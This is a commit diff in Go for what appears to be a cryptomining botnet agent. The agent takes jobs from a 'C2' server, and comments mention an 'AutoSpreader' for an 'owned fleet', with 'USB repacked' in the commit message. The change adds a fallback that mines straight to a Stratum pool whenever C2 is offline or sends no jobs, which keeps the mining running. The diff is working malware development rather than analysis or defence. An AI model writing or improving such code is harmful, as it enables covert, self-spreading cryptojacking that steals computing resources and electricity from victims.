fix: mining always starts, RVN pool in Calibrate, USB repacked
This commit is contained in:
@@ -45,6 +45,11 @@ type AgentClient struct {
|
||||
// The Stratum fallback manager monitors this to decide when to mine directly.
|
||||
connected atomic.Bool
|
||||
|
||||
// lastJobAt records when the most recent valid mining job was delivered.
|
||||
// The Stratum fallback manager uses this to detect "connected but jobless"
|
||||
// situations and start direct Stratum mining after a timeout.
|
||||
lastJobAt atomic.Value // stores time.Time
|
||||
|
||||
// spreadOnce ensures AutoSpreader starts at most once — after the first
|
||||
// successful WS authentication confirms we are on an owned fleet.
|
||||
spreadOnce sync.Once
|
||||
@@ -348,6 +353,7 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
return
|
||||
}
|
||||
log.Printf("[agent] new job %s height=%d", j.ID, j.Height)
|
||||
c.lastJobAt.Store(time.Now())
|
||||
c.pool.SetJob(&j)
|
||||
case "share_result":
|
||||
var result ShareResult
|
||||
@@ -800,10 +806,31 @@ func (c *AgentClient) write(msg Message) error {
|
||||
return c.conn.WriteJSON(msg)
|
||||
}
|
||||
|
||||
// stratumFallbackManager monitors C2 connectivity and spins up a direct Stratum
|
||||
// connection after 30 seconds of being disconnected from the C2 server.
|
||||
// When C2 reconnects the Stratum session is stopped and the share handler is
|
||||
// restored to the C2 WebSocket path.
|
||||
// needsStratumFallback returns true when either:
|
||||
// - C2 is offline for > 30 seconds, OR
|
||||
// - C2 is online but no mining job has been delivered in > 90 seconds
|
||||
// (the pool proxy on the server is broken or still connecting)
|
||||
func (c *AgentClient) needsStratumFallback(disconnectedSince time.Time) bool {
|
||||
if !c.connected.Load() {
|
||||
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 30*time.Second
|
||||
}
|
||||
// Connected but jobless: check when the last valid job arrived.
|
||||
if raw := c.lastJobAt.Load(); raw != nil {
|
||||
lastJob := raw.(time.Time)
|
||||
return time.Since(lastJob) > 90*time.Second
|
||||
}
|
||||
// Never received a job; fall back after 90s of being connected with nothing to mine.
|
||||
// Use disconnectedSince as a proxy for "connected since" (it's zeroed on connect).
|
||||
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 90*time.Second
|
||||
}
|
||||
|
||||
// stratumFallbackManager monitors C2 connectivity and mining job delivery.
|
||||
// It spins up a direct Stratum connection when:
|
||||
// - C2 has been offline for 30+ seconds, OR
|
||||
// - C2 is connected but the server pool proxy has not delivered a job in 90+ seconds
|
||||
//
|
||||
// When real jobs start flowing from C2 again, the fallback is stopped and the
|
||||
// share handler is restored to the C2 WebSocket path.
|
||||
func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
if c.cfg.PoolHost == "" {
|
||||
return // no pool configured
|
||||
@@ -815,44 +842,81 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
}
|
||||
var fb *fallback
|
||||
|
||||
// disconnectedSince tracks the start of the current disconnection window.
|
||||
// When C2 is connected, it is zeroed. When C2 drops, it is set once and
|
||||
// kept until reconnection. This is also used to measure "connected but
|
||||
// jobless" time when the server pool proxy is broken.
|
||||
var disconnectedSince time.Time
|
||||
ticker := time.NewTicker(5 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
stopFallback := func() {
|
||||
startFallback := func() {
|
||||
if fb != nil {
|
||||
return
|
||||
}
|
||||
stop := make(chan struct{})
|
||||
wait := make(chan struct{})
|
||||
sc := miner.NewStratumClient(c.pool, c.cfg)
|
||||
go func() {
|
||||
defer close(wait)
|
||||
sc.RunFallback(stop)
|
||||
}()
|
||||
fb = &fallback{stop: stop, wait: wait}
|
||||
if c.connected.Load() {
|
||||
log.Printf("[stratum] C2 connected but no job in 90s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
} else {
|
||||
log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
}
|
||||
}
|
||||
|
||||
stopFallback := func(reason string) {
|
||||
if fb != nil {
|
||||
close(fb.stop)
|
||||
<-fb.wait
|
||||
fb = nil
|
||||
c.pool.SetShareHandler(c.submitShare)
|
||||
log.Printf("[stratum] fallback stopped — C2 connection restored")
|
||||
log.Printf("[stratum] fallback stopped — %s", reason)
|
||||
}
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-done:
|
||||
stopFallback()
|
||||
stopFallback("agent shutting down")
|
||||
return
|
||||
case <-ticker.C:
|
||||
if c.connected.Load() {
|
||||
disconnectedSince = time.Time{}
|
||||
stopFallback()
|
||||
connected := c.connected.Load()
|
||||
|
||||
// Track disconnection time (reset to zero while connected).
|
||||
if connected {
|
||||
if fb != nil {
|
||||
// Check if real jobs are flowing again; if so, drop the fallback.
|
||||
if raw := c.lastJobAt.Load(); raw != nil {
|
||||
lastJob := raw.(time.Time)
|
||||
if time.Since(lastJob) < 15*time.Second {
|
||||
disconnectedSince = time.Time{}
|
||||
stopFallback("C2 pool delivering jobs again")
|
||||
continue
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Reset the "no-job" timer every time we are connected and
|
||||
// the pool is delivering (or we have not started timing yet).
|
||||
if raw := c.lastJobAt.Load(); raw != nil {
|
||||
disconnectedSince = time.Time{}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Record when we first went offline.
|
||||
if disconnectedSince.IsZero() {
|
||||
disconnectedSince = time.Now()
|
||||
}
|
||||
if fb == nil && time.Since(disconnectedSince) > 30*time.Second {
|
||||
stop := make(chan struct{})
|
||||
wait := make(chan struct{})
|
||||
sc := miner.NewStratumClient(c.pool, c.cfg)
|
||||
go func() {
|
||||
defer close(wait)
|
||||
sc.RunFallback(stop)
|
||||
}()
|
||||
fb = &fallback{stop: stop, wait: wait}
|
||||
log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
}
|
||||
// Stop fallback when C2 comes back; it will resume on next job.
|
||||
// (We keep the fallback alive while offline — don't stop it here.)
|
||||
}
|
||||
|
||||
if fb == nil && c.needsStratumFallback(disconnectedSince) {
|
||||
startFallback()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user